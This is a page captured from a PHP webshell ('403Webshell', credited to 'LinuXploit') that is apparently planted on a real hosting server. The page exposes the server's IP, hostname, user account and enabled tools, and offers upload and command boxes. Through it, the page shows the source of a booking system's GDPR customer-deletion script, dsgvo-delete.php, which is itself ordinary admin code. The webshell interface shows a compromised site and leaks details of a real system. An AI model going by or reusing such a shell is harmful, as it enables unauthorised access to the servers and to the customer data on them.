403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client1/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client1/seaside.pacim.de/web/dsgvo-delete.php
<?php
/**
 * dsgvo-delete.php – DSGVO-Löschung: löscht einen Kundendatensatz UNWIDERRUFLICH und
 * vollständig inkl. aller verknüpften Daten (Buchungen, Rechnungen, Positionen, Zahlungen,
 * Nachrichten/History, API-Log, Anfragen, Importe, Views, Newsletter, Dokumente).
 *
 * Ausgangspunkt ist immer GENAU EIN Kundendatensatz. Existieren weitere Kundendatensätze
 * mit derselben E-Mail-Adresse, werden diese im info-Schritt angezeigt und können optional
 * mitgelöscht (oder einzeln abgewählt) werden.
 *
 * Aktionen:
 *   info    GET/POST invoice_id | customer_id  -> { primary:{…}, duplicates:[…], email }
 *   delete  POST customer_ids(csv), primary_id, confirm="LÖSCHEN" -> { ok, deleted:{…} }
 *
 * Zugriff: nur Super-Admins (is_super()). Hard delete, KEIN Backup.
 */
require_once( __DIR__ . '/includes/config.inc.php' );
@ini_set( 'display_errors', '0' );
error_reporting( 0 );
ob_start();

function gd_json( $a ) { while ( ob_get_level() > 0 ) ob_end_clean(); header( 'Content-Type: application/json; charset=utf-8' ); echo json_encode( $a ); exit(); }
function gd_fail( $m, $code = 400 ) { http_response_code( $code ); gd_json( array( 'ok' => false, 'error' => $m ) ); }

if ( ! ( function_exists( 'is_admin' ) && is_admin() ) ) gd_fail( 'forbidden', 403 );
if ( ! ( function_exists( 'is_super' ) && is_super() ) ) gd_fail( 'Keine Berechtigung (Superrecht erforderlich).', 403 );

$db     = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );
$action = $_GET['action'] ?? ( $_POST['action'] ?? 'info' );

/* ---------------------------------------------------------------- Helfer */
function gd_intlist( $arr ) { return array_values( array_unique( array_filter( array_map( 'intval', (array) $arr ), function ( $v ) { return $v > 0; } ) ) ); }
function gd_count( $db, $sql, $params = array() ) { $r = $db->rawQueryOne( $sql, $params ); return $r ? (int) array_values( $r )[0] : 0; }

/** Echte E-Mail? Platzhalter wie "0", "-", leere Werte gelten NICHT als Identitätsschlüssel. */
function gd_valid_email( $e ) {
    $e = trim( (string) $e );
    return ( $e !== '' && filter_var( $e, FILTER_VALIDATE_EMAIL ) !== false );
}

function gd_display_name( $c ) {
    if ( (int) ( $c['customer_gender'] ?? 0 ) === 3 && trim( (string) ( $c['customer_name'] ?? '' ) ) !== '' ) return trim( $c['customer_name'] );
    $n = trim( trim( (string) ( $c['customer_firstname'] ?? '' ) ) . ' ' . trim( (string) ( $c['customer_lastname'] ?? '' ) ) );
    return $n !== '' ? $n : ( trim( (string) ( $c['customer_name'] ?? '' ) ) ?: '—' );
}

/** Buchungen + Rechnungen eines Kunden ermitteln. */
function gd_scope( $db, $cid ) {
    $bookings = $db->rawQuery( 'SELECT booking_id, booking_no, booking_invoice FROM pacim_booking WHERE booking_customer = ?', array( $cid ) );
    $invoices = $db->rawQuery( 'SELECT invoice_id, invoice_no FROM pacim_invoice WHERE invoice_customer = ?', array( $cid ) );
    $bks = gd_intlist( array_map( function ( $b ) { return $b['booking_id']; }, $bookings ) );
    $invs = gd_intlist( array_merge(
        array_map( function ( $i ) { return $i['invoice_id']; }, $invoices ),
        array_map( function ( $b ) { return $b['booking_invoice']; }, $bookings )
    ) );
    return array( 'bookings' => $bookings, 'invoices' => $invoices, 'bks' => $bks, 'invs' => $invs );
}

/** Vorhandene Dokument-Pfade (Buchungsbestätigungen + Rechnungs-PDFs) eines Kunden. */
function gd_docpaths( $scope ) {
    $base = rtrim( PATH_DATAS, '/' );
    $paths = array();
    foreach ( $scope['bookings'] as $b ) {
        $no = trim( (string) $b['booking_no'] );
        if ( $no !== '' && preg_match( '#^[A-Za-z0-9._\- ]+$#', $no ) ) $paths[] = $base . '/booking/' . basename( $no ) . '.pdf';
    }
    foreach ( $scope['invoices'] as $i ) {
        $no = trim( (string) $i['invoice_no'] );
        if ( $no !== '' && preg_match( '#^[A-Za-z0-9._\- ]+$#', $no ) ) $paths[] = $base . '/invoice/' . basename( $no ) . '.pdf';
    }
    return array_values( array_unique( $paths ) );
}

/** Vollständige „Fußabdruck"-Zusammenfassung eines Kundendatensatzes (für die Anzeige). */
function gd_footprint( $db, $cid ) {
    $cust = $db->rawQueryOne( 'SELECT customer_id, customer_firstname, customer_lastname, customer_name, customer_email, customer_gender FROM pacim_customer WHERE customer_id = ?', array( $cid ) );
    if ( ! $cust ) return null;
    $sc   = gd_scope( $db, $cid );
    $bksIn  = $sc['bks']  ? implode( ',', $sc['bks'] )  : '0';
    $invsIn = $sc['invs'] ? implode( ',', $sc['invs'] ) : '0';
    $docs = 0; foreach ( gd_docpaths( $sc ) as $p ) { if ( is_file( $p ) ) $docs++; }
    return array(
        'customer_id' => (int) $cid,
        'name'        => gd_display_name( $cust ),
        'email'       => (string) $cust['customer_email'],
        'bookings'    => count( $sc['bookings'] ),
        'booking_nos' => array_values( array_filter( array_map( function ( $b ) { return trim( (string) $b['booking_no'] ); }, $sc['bookings'] ) ) ),
        'invoices'    => count( $sc['invoices'] ),
        'positions'   => gd_count( $db, "SELECT COUNT(*) c FROM pacim_invoice_pos WHERE invoice_id IN ($invsIn) OR booking_id IN ($bksIn)" ),
        'payments'    => gd_count( $db, "SELECT COUNT(*) c FROM pacim_payments WHERE payment_invoice IN ($invsIn)" ),
        'messages'    => gd_count( $db, "SELECT COUNT(*) c FROM pacim_messages WHERE message_customer = $cid OR message_invoice IN ($invsIn) OR message_booking IN ($bksIn)" ),
        'history'     => gd_count( $db, "SELECT COUNT(*) c FROM pacim_api_log WHERE log_invoice IN ($invsIn) OR log_booking IN ($bksIn)" ),
        'requests'    => gd_count( $db, "SELECT COUNT(*) c FROM pacim_booking_requests WHERE request_invoice IN ($invsIn) OR request_booking IN ($bksIn)" ),
        'views'       => gd_count( $db, "SELECT COUNT(*) c FROM pacim_view WHERE view_booking IN ($bksIn)" ),
        'newsletter'  => gd_count( $db, "SELECT COUNT(*) c FROM pacim_newsletter_recipient WHERE recipient_customer = $cid" ) > 0,
        'documents'   => $docs,
    );
}

/* ---------------------------------------------------------------- info */
if ( $action === 'info' ) {
    $cid = (int) ( $_POST['customer_id'] ?? ( $_GET['customer_id'] ?? 0 ) );
    $invoiceId = (int) ( $_POST['invoice_id'] ?? ( $_GET['invoice_id'] ?? 0 ) );
    if ( $cid <= 0 && $invoiceId > 0 ) {
        $r = $db->rawQueryOne( 'SELECT invoice_customer FROM pacim_invoice WHERE invoice_id = ?', array( $invoiceId ) );
        $cid = $r ? (int) $r['invoice_customer'] : 0;
        if ( $cid <= 0 ) { $b = $db->rawQueryOne( 'SELECT booking_customer FROM pacim_booking WHERE booking_invoice = ? ORDER BY booking_id ASC LIMIT 1', array( $invoiceId ) ); $cid = $b ? (int) $b['booking_customer'] : 0; }
    }
    if ( $cid <= 0 ) gd_fail( 'Kundendatensatz nicht gefunden.' );
    $primary = gd_footprint( $db, $cid );
    if ( ! $primary ) gd_fail( 'Kundendatensatz nicht gefunden.' );
    $rawEmail = trim( (string) $primary['email'] );
    // Nur ECHTE E-Mail-Adressen gelten als Identität. Ohne (gültige) E-Mail wird NICHT nach
    // weiteren Datensätzen gesucht (Platzhalter "0" o. Ä. würden sonst tausende Fremd-Kunden ziehen).
    $email = gd_valid_email( $rawEmail ) ? $rawEmail : '';
    $primary['email'] = $email;
    $dups = array(); $dupCapped = false;
    if ( $email !== '' ) {
        $primCust = $db->rawQueryOne( 'SELECT customer_lastname FROM pacim_customer WHERE customer_id = ?', array( $cid ) );
        $lastname = trim( (string) ( $primCust['customer_lastname'] ?? '' ) );
        if ( $lastname !== '' ) {
            // Plausible Duplikate DESSELBEN Kunden: gleiche echte E-Mail UND gleicher Nachname
            // (verhindert das Mitziehen fremder Personen bei geteilten Agentur-/Sammel-Adressen).
            $cap  = 200;
            $rows = $db->rawQuery(
                'SELECT customer_id, customer_firstname, customer_lastname, customer_name, customer_gender
                   FROM pacim_customer
                  WHERE customer_email = ? AND customer_id <> ? AND TRIM(customer_lastname) = ?
                  ORDER BY customer_id DESC LIMIT ' . ( $cap + 1 ),
                array( $email, $cid, $lastname ) );
            if ( count( $rows ) > $cap ) { $dupCapped = true; $rows = array_slice( $rows, 0, $cap ); }
            $dupIds = array_map( function ( $r ) { return (int) $r['customer_id']; }, $rows );
            $bk = array();
            if ( $dupIds ) {
                $in = implode( ',', $dupIds );
                foreach ( (array) $db->rawQuery( "SELECT booking_customer, COUNT(*) c FROM pacim_booking WHERE booking_customer IN ($in) GROUP BY booking_customer" ) as $b )
                    $bk[ (int) $b['booking_customer'] ] = (int) $b['c'];
            }
            foreach ( $rows as $rr ) {
                $dups[] = array(
                    'customer_id' => (int) $rr['customer_id'],
                    'name'        => gd_display_name( $rr ),
                    'email'       => $email,
                    'bookings'    => isset( $bk[ (int) $rr['customer_id'] ] ) ? $bk[ (int) $rr['customer_id'] ] : 0,
                );
            }
        }
    }
    gd_json( array( 'ok' => true, 'primary' => $primary, 'duplicates' => $dups, 'email' => $email, 'capped' => $dupCapped ) );
}

/* ---------------------------------------------------------------- delete */
if ( $action === 'delete' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) gd_fail( 'method' );
    if ( trim( (string) ( $_POST['confirm'] ?? '' ) ) !== 'LÖSCHEN' ) gd_fail( 'Bitte zur Bestätigung exakt LÖSCHEN eingeben.' );
    $primaryId = (int) ( $_POST['primary_id'] ?? 0 );
    $ids = gd_intlist( explode( ',', (string) ( $_POST['customer_ids'] ?? '' ) ) );
    if ( $primaryId <= 0 || ! in_array( $primaryId, $ids, true ) ) gd_fail( 'Ungültige Auswahl.' );
    if ( count( $ids ) > 300 ) gd_fail( 'Zu viele Datensätze auf einmal (max. 300). Bitte in kleineren Schritten löschen.' );
    // Nur tatsächlich existierende Kunden
    $valid = array();
    foreach ( $ids as $cid ) { if ( $db->rawQueryOne( 'SELECT customer_id FROM pacim_customer WHERE customer_id = ?', array( $cid ) ) ) $valid[] = $cid; }
    if ( ! $valid ) gd_fail( 'Keine gültigen Kundendatensätze.' );

    // Audit-Infos VOR dem Löschen sammeln + AIDA-invoice_no für die Sperrliste merken
    // (sonst legt der AIDA-Import die gelöschte Buchung beim nächsten Lauf wieder an).
    $auditParts = array(); $allDocs = array(); $aidaBlock = array();
    foreach ( $valid as $cid ) {
        $c = $db->rawQueryOne( 'SELECT customer_id, customer_firstname, customer_lastname, customer_name, customer_email, customer_gender FROM pacim_customer WHERE customer_id = ?', array( $cid ) );
        $auditParts[] = '#' . $cid . ' ' . gd_display_name( $c ) . ' <' . (string) $c['customer_email'] . '>';
        $sc0 = gd_scope( $db, $cid );
        $allDocs = array_merge( $allDocs, gd_docpaths( $sc0 ) );
        $invs0 = $sc0['invs'] ? implode( ',', $sc0['invs'] ) : '0';
        $nos = $db->rawQuery( "SELECT invoice_no FROM pacim_invoice WHERE invoice_id IN ($invs0) AND invoice_no LIKE 'AIDA-%'" );
        foreach ( (array) $nos as $n ) { $no = trim( (string) $n['invoice_no'] ); if ( $no !== '' ) $aidaBlock[ $no ] = (string) $c['customer_email']; }
    }
    // Sperrlisten-Tabelle VOR der Transaktion sicherstellen (CREATE TABLE würde sonst implizit committen).
    if ( function_exists( 'pacim_dsgvo_block_ensure' ) ) pacim_dsgvo_block_ensure( $db );

    $db->startTransaction();
    try {
        foreach ( $valid as $cid ) {
            $sc = gd_scope( $db, $cid );
            // WICHTIG: leere ID-Listen als NULL (nicht '0')! "x IN (0)" würde sonst alle Zeilen mit
            // Wert 0 treffen (z. B. Wunschzeitraum-Anfragen mit request_invoice=0) und fremde Daten löschen.
            // "x IN (NULL)" trifft dagegen nie etwas.
            $bksIn  = $sc['bks']  ? implode( ',', $sc['bks'] )  : 'NULL';
            $invsIn = $sc['invs'] ? implode( ',', $sc['invs'] ) : 'NULL';
            $db->rawQuery( "DELETE FROM pacim_invoice_pos        WHERE invoice_id IN ($invsIn) OR booking_id IN ($bksIn)" );
            $db->rawQuery( "DELETE FROM pacim_payments           WHERE payment_invoice IN ($invsIn)" );
            $db->rawQuery( "DELETE FROM pacim_messages           WHERE message_customer = $cid OR message_invoice IN ($invsIn) OR message_booking IN ($bksIn)" );
            $db->rawQuery( "DELETE FROM pacim_api_log            WHERE log_invoice IN ($invsIn) OR log_booking IN ($bksIn)" );
            $db->rawQuery( "DELETE FROM pacim_booking_requests   WHERE request_invoice IN ($invsIn) OR request_booking IN ($bksIn)" );
            $db->rawQuery( "DELETE FROM pacim_import             WHERE import_customer = $cid OR import_invoice IN ($invsIn) OR import_booking IN ($bksIn)" );
            $db->rawQuery( "DELETE FROM pacim_view               WHERE view_booking IN ($bksIn)" );
            $db->rawQuery( "DELETE FROM pacim_mail_suppression   WHERE customer_id = $cid" );
            $db->rawQuery( "DELETE FROM pacim_newsletter_recipient WHERE recipient_customer = $cid" );
            $db->rawQuery( "DELETE FROM pacim_booking            WHERE booking_customer = $cid" );
            $db->rawQuery( "DELETE FROM pacim_invoice            WHERE invoice_customer = $cid OR invoice_id IN ($invsIn)" );
            $db->rawQuery( "DELETE FROM pacim_customer           WHERE customer_id = $cid" );
        }
        $db->commit();
    } catch ( Exception $e ) {
        $db->rollback();
        gd_fail( 'Datenbankfehler – nichts wurde gelöscht.', 500 );
    }

    // Gelöschte AIDA-Buchungen sperren, damit der Import sie nicht erneut anlegt.
    if ( $aidaBlock && function_exists( 'pacim_dsgvo_block_add' ) ) {
        $byName = trim( (string) ( $_SESSION['user_name'] ?? 'Administrator' ) );
        foreach ( $aidaBlock as $no => $em ) pacim_dsgvo_block_add( $db, $no, $em, $byName );
    }

    // Dokumente endgültig entfernen (erst nach erfolgreichem Commit; Pfad-Whitelist gegen Traversal)
    $baseReal = realpath( rtrim( PATH_DATAS, '/' ) );
    $delDocs = 0;
    foreach ( array_unique( $allDocs ) as $p ) {
        if ( ! is_file( $p ) ) continue;
        $rp = realpath( $p );
        if ( $rp && $baseReal && strpos( $rp, $baseReal ) === 0 && @unlink( $rp ) ) $delDocs++;
    }

    // Audit (darf das Ergebnis nie kippen)
    try {
        if ( class_exists( 'apilog' ) ) {
            apilog::record( array(
                'key_name' => trim( (string) ( $_SESSION['user_name'] ?? 'Administrator' ) ),
                'ip'       => $_SERVER['REMOTE_ADDR'] ?? '', 'method' => 'POST',
                'resource' => 'customer', 'action' => 'dsgvo-delete', 'kind' => 'write',
                'booking'  => 0, 'invoice' => 0,
                'target'   => 'DSGVO-Löschung (' . count( $valid ) . ' Datensatz/Datensätze): ' . implode( '; ', $auditParts ),
                'changes'  => null,
            ) );
        }
    } catch ( Exception $e ) {}

    gd_json( array( 'ok' => true, 'deleted' => array( 'customers' => count( $valid ), 'documents' => $delDocs ) ) );
}

gd_fail( 'Unbekannte Aktion.' );

Youez - 2016 - github.com/yon3zu
LinuXploit